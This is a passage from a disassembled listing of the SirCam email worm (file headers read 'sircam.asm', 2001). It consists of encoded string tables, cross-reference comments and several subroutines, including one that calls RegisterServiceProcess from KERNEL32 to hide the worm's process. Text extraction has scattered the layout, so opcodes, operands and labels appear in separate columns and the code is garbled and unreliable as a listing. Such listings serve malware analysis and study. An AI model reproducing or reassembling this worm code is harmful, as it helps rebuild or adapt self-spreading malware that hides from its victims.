dd 9EA8AA7Fh, 0A658A6ACh, 0AEA8579Fh, 0AC999B9Fh, 0AEB1985Ah
; DATA XREF: sub_4190CC+464\030o
dd 59AA989Eh, 59A6A69Dh, 9A58A39Fh, 0A2A09AACh, 0AA58A6B0h
dd 0AD589CAFh, 9AA5579Fh, 0A79BA8h, 0FFFFFFFFh, 29h
aUaufvNgxmxdgbu db ’u \236\224¢\234N£\225M\225¤£¡\223O\225 ¢\224P\216 \222\230\226¤\236P
\236£\224P¡\223O\235\216\234\223\237’,0
; DATA XREF: sub_4190CC+487\030o
align 4
dd 0FFFFFFFFh, 34h
aAlnqAmzadyinib db ’\200«-\237[\235¬Z ¤Y\233-\233¡£±§Y\235ª¦Y¦\234X¢¨¡§«§\234\233¢-©Xª¯ X
¦\237[¨\236\236¤«-\237’,0
; DATA XREF: sub_4190CC+4AA\030o
align 4
dd 0FFFFFFFFh, 10h
a_66_gm6xjz6rgk db ’_}66_\203\2146x\206z6\220\203\212U’,0 ; DATA XREF: sub_4190CC+4CF\030
o
align 4
dd 0FFFFFFFFh, 15h
dword_41A310
dd 3B7F7E6Fh, 3B8F8895h, 808E7A88h, 6F3A478Eh, 86887A84h
; DATA XREF: sub_4190CC+4DE\030o
dd 8Fh, 0FFFFFFFFh, 31h
aBuiJsvZkvlauiw db ’\201U©\234¦\231V°§ªV« \236©W\236\236¢\234X\236¤W§§\232\234ªUª¦X\235
\227-\235U¯¦-§V\230\234«\237\232\235’,0
; DATA XREF: sub_4190CC+4F0\030o
align 4
dd 0FFFFFFFFh, 31h
aBuujiVZkvSgvqa db ’\201U\236¦¨\232V°§ªV\232\231£V\237\235¡¦W¥\232V®¡©\236W¬\235\237ªX
\233\237£\235Uª\237\231©V\200X¨\233¥\234’,0
; DATA XREF: sub_4190CC+513\030o
align 4
dd 0FFFFFFFFh, 29h
aYmcuatniqvniss db ’yM\226\236 \222N¨\237¢N\233\231\230\223O¤\225\223O\226\226\232\224P¡
\226\220¤MwO£\222\234\223\237M§\236¥’,0
; DATA XREF: sub_4190CC+536\030o
align 4
dd 0FFFFFFFFh, 36h
aSvdpGoVaGgzbDE db ’\221¢¤¯]£®\±¢ \££§¡]±¤°¥Z¯¤¢Z¤ª£©-©\236®¤««Z¯¤\236®[µ¬¯[\235°¥[¢¬¬’,0
; DATA XREF: sub_4190CC+559\030o
align 4
dd 0FFFFFFFFh, 3
dword_41A41C
dd 6C6A7Dh, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+5A5\030o
dword_41A428
dd 3041465Ch, 0, 0FFFFFFFFh, 8 ; DATA XREF: sub_4190CC+5BC\030o
; sub_4190CC+855\030o
dword_41A438
dd 72707F6Bh, 7A79703Dh, 0, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+5F6\030
o
aFb1b_0
db ’FB1B’,0
; DATA XREF: sub_4190CC+634\030o
align 4
dd 0FFFFFFFFh, 1
dword_41A45C
dd 32h, 0FFFFFFFFh, 4
; DATA XREF: sub_4190CC+64E\030o
aFc43
db ’FC43’,0
; DATA XREF: sub_4190CC+653\030o
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
682
dd 0FFFFFFFFh, 3
dd 344346h, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+66F\030o
db ’FD11’,0
; DATA XREF: sub_4190CC+6A8\030o
; sub_4190CC+D75\030o
align 4
dd 0FFFFFFFFh, 3
dword_41A494
dd 6E707Ah, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+6DD\030o
dword_41A4A0
dd 737576h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+6ED\030o
dword_41A4AC
dd 7C686Ch, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+6FD\030o
dword_41A4B8
dd 75766Dh, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+70D\030o
dword_41A4C4
dd 77h, 0FFFFFFFFh, 1
; DATA XREF: sub_4190CC+735\030o
; sub_4190CC+745\030o ...
dword_41A4D0
dd 79h, 0FFFFFFFFh, 1
; DATA XREF: sub_4190CC+765\030o
dword_41A4DC
dd 68h, 0FFFFFFFFh, 1
; DATA XREF: sub_4190CC+775\030o
dword_41A4E8
dd 69h, 0FFFFFFFFh, 1
; DATA XREF: sub_4190CC+785\030o
dword_41A4F4
dd 74h, 0FFFFFFFFh, 4
; DATA XREF: sub_4190CC+795\030o
aFc42
db ’FC42’,0
; DATA XREF: sub_4190CC+7B4\030o
; sub_4190CC+E5B\030o
align 4
dd 0FFFFFFFFh, 5
aFc421
db ’FC421’,0
; DATA XREF: sub_4190CC+7F4\030o
; sub_4190CC+E04\030o
align 4
dd 0FFFFFFFFh, 2
dword_41A520
dd 697Ch, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+826\030o
a9luv_1
db ’9luv’,0
; DATA XREF: sub_4190CC+8E6\030o
align 4
dd 0FFFFFFFFh, 1
dword_41A53C
dd 37h, 0FFFFFFFFh, 3
; DATA XREF: sub_4190CC+947\030o
dword_41A548
dd 334446h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+94C\030o
; sub_4190CC+C94\030o ...
dword_41A554
dd 6D7F6Fh, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+9FB\030o
dword_41A560
dd 2Eh, 0FFFFFFFFh, 1
; DATA XREF: sub_4190CC+A0A\030o
; sub_4190CC+B35\030o
dword_41A56C
dd 22h, 0FFFFFFFFh, 3
; DATA XREF: sub_4190CC+AE0\030o
dword_41A578
dd 3C2022h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+AE8\030o
dword_41A584
dd 3Eh, 0FFFFFFFFh, 1
; DATA XREF: sub_4190CC+AF0\030o
dword_41A590
dd 20h, 0FFFFFFFFh, 13h ; DATA XREF: sub_4190CC+B75\030o
; sub_4190CC+B8D\030o
aIlkimjdeiwMzxl db ’\211\213\212\210\214\206\204\205\211W}\214\207x\213G}\206\205’,0 ; DA
TA XREF: sub_4190CC+C1F\030o
dd 0FFFFFFFFh, 1
dword_41A5B8
dd 38h, 0FFFFFFFFh, 3
; DATA XREF: sub_4190CC+C8F\030o
dword_41A5C4
dd 384346h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+CE5\030o
; sub_4190CC+D37\030o
dword_41A5D0
dd 39h, 0FFFFFFFFh, 4
; DATA XREF: sub_4190CC+D54\030o
aFd10
db ’FD10’,0
; DATA XREF: sub_4190CC+DC6\030o
align 4
dword_41A478
aFd11
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41A5E4
proc near
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
byte ptr -1Ch
dword ptr -18h
dword ptr -14h
byte ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
push
mov
xor
push
push
push
push
ebp
ebp, esp
ecx, ecx
ecx
ecx
ecx
ecx
; CODE XREF: start+AB2\031p
sircam.asm
Fri Aug 10 12:42:44 2001
683
push
push
push
xor
push
push
push
mov
push
push
lea
push
xor
mov
mov
call
mov
lea
call
mov
cmp
jnz
lea
xor
mov
call
mov
mov
call
push
push
lea
push
lea
xor
mov
y\213\207\213\217"
call
mov
mov
mov
call
ecx
ecx
ecx
eax, eax
ebp
offset loc_41A6FA
dword ptr fs:[eax]
fs:[eax], esp
0
1
eax, [ebp+var_8]
eax
ecx, ecx
edx, offset dword_41A710
eax, ds:dword_41EEFC
sub_415EAC
eax, [ebp+var_8]
edx, [ebp+var_4]
sub_402978
[ebp+var_4], eax
ds:dword_41EF10, 1
short loc_41A674
ecx, [ebp+var_C]
edx, edx
eax, offset dword_41A71C
sub_415FAC
edx, [ebp+var_C]
eax, offset dword_41EEF4
sub_40351C
1
0
eax, [ebp+var_10]
eax
ecx, [ebp+var_14]
edx, edx
eax, offset aEojeex9zakYlzl ; "]\205\216\206\205\205x|9Z\200\212˜
loc_41A674:
; CODE XREF: sub_41A5E4+48\030j
[ebp+var_4], 0
short loc_41A6C0
ds:dword_41EF10, 2
short loc_41A6C0
0
1
eax, [ebp+var_18]
eax
ecx, ecx
edx, offset aFc43_0 ; "FC43"
eax, ds:dword_41EEFC
sub_415EAC
eax, [ebp+var_18]
sub_417F24
1
1
eax, [ebp+var_1C]
eax
ecx, offset dword_41A778
edx, offset dword_41A710
eax, ds:dword_41EEFC
sub_415EAC
cmp
jg
cmp
jl
push
push
lea
push
xor
mov
mov
call
mov
call
push
push
lea
push
mov
mov
mov
call
sub_415FAC
edx, [ebp+var_14]
ecx, ds:dword_41EEE4
eax, ds:dword_41EEF4
sub_415EAC
loc_41A6C0:
; CODE XREF: sub_41A5E4+94\030j
; sub_41A5E4+9D\030j
cmp
[ebp+var_4], 1
sircam.asm
Fri Aug 10 12:42:44 2001
jg
cmp
jl
mov
call
test
jz
call
short loc_41A6DF
ds:dword_41EF10, 2
short loc_41A6DF
al, 1
sub_418EBC
al, al
short loc_41A6DF
sub_4190CC
loc_41A6DF:
; CODE XREF: sub_41A5E4+E0\030j
; sub_41A5E4+E9\030j ...
xor
pop
pop
pop
mov
push
loc_41A6EC:
sub_41A5E4
684
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41A701
; CODE XREF: CODE:0041A6FF\031j
lea
eax, [ebp+var_1C]
mov
edx, 6
call
sub_4034EC
retn
endp ; sp = -54h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41A6FA:
; DATA XREF: sub_41A5E4+F\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41A6EC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41A701:
; DATA XREF: sub_41A5E4+103\030o
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 3
dword_41A710
dd 344346h, 0FFFFFFFFh, 25h ; DATA XREF: sub_41A5E4+24\030o
; sub_41A5E4+CD\030o
dword_41A71C
dd 9F90987Fh, 909C8AA3h, 8E937688h, 9A9D989Eh, 74869D92h
; DATA XREF: sub_41A5E4+4F\030o
dd 9D8F9D9Ah, 4B9E8E9Ah, 979AA171h, 9D8F9B9Bh, 88h, 0FFFFFFFFh
dd 12h
aEojeex9zakYlzl db ’]\205\216\206\205\205x|9Z\200\212˜y\213\207\213\217’,0 ; DATA XREF: s
ub_41A5E4+73\030o
align 4
dd 0FFFFFFFFh, 4
aFc43_0
db ’FC43’,0
; DATA XREF: sub_41A5E4+A9\030o
align 4
dd 0FFFFFFFFh, 1
dword_41A778
dd 31h
; DATA XREF: sub_41A5E4+C8\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41A77C
proc near
var_4
= dword ptr -4
push
mov
push
push
push
mov
mov
ebp
ebp, esp
0
ebx
esi
esi, edx
ebx, eax
; CODE XREF: start+521\031p start+538\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
xor
push
push
push
mov
lea
call
test
jle
eax, eax
ebp
offset loc_41A7D1
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
sub_4034C8
ebx, ebx
short loc_41A7B1
lea
mov
call
dec
jnz
; CODE XREF: sub_41A77C+33\031j
eax, [ebp+var_4]
edx, offset dword_41A7E8
sub_40372C
ebx
short loc_41A7A1
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_41A77C+23\030j
eax, esi
edx, [ebp+var_4]
sub_40351C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41A7D8
loc_41A7A1:
loc_41A7B1:
loc_41A7C8:
sub_41A77C
685
; CODE XREF: CODE:0041A7D6\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41A7D1:
; DATA XREF: sub_41A77C+E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41A7C8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41A7D8:
; DATA XREF: sub_41A77C+47\030o
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_41A7E8
dd 20h
; DATA XREF: sub_41A77C+28\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_41A7EC
loc_41A80E:
proc near
; CODE XREF: start+58\031p
push
ecx
mov
ecx, esp
mov
edx, offset aRegisterservic ; "RegisterServiceProcess"
mov
eax, offset dword_41A838
call
sub_418E24
cmp
al, 1
jnz
short loc_41A80E
push
1
call
j_GetCurrentProcessId
push
eax
call
dword ptr [esp+8]
; CODE XREF: sub_41A7EC+14\030j
sircam.asm
sub_41A7EC
Fri Aug 10 12:42:44 2001
686
pop
edx
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 16h
aRegisterservic db ’RegisterServiceProcess’,0 ; DATA XREF: sub_41A7EC+3\030o
align 4
dd 0FFFFFFFFh, 0Ch
dword_41A838
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0 ; DATA XREF: sub_41A7EC+8\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41A848
proc near
; DATA XREF: CODE:0041A9A0\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_41A8CB
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, offset dword_41EEFC
call
sub_4034C8
mov
eax, offset dword_41EEF8
call
sub_4034C8
mov
eax, offset dword_41EEF4
call
sub_4034C8
mov
eax, offset dword_41EEF0
call
sub_4034C8
mov
eax, offset dword_41EEEC
call
sub_4034C8
mov
eax, offset dword_41EEE8
call
sub_4034C8
mov
eax, offset dword_41EEE4
call
sub_4034C8
mov
eax, offset dword_41EEE0
call
sub_4034C8
mov
eax, offset dword_41EEDC
call
sub_4034C8
mov
eax, offset dword_41EED8
call
sub_4034C8
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_41A8D2
locret_41A8CA:
; CODE XREF: sub_41A848+88\031j
ret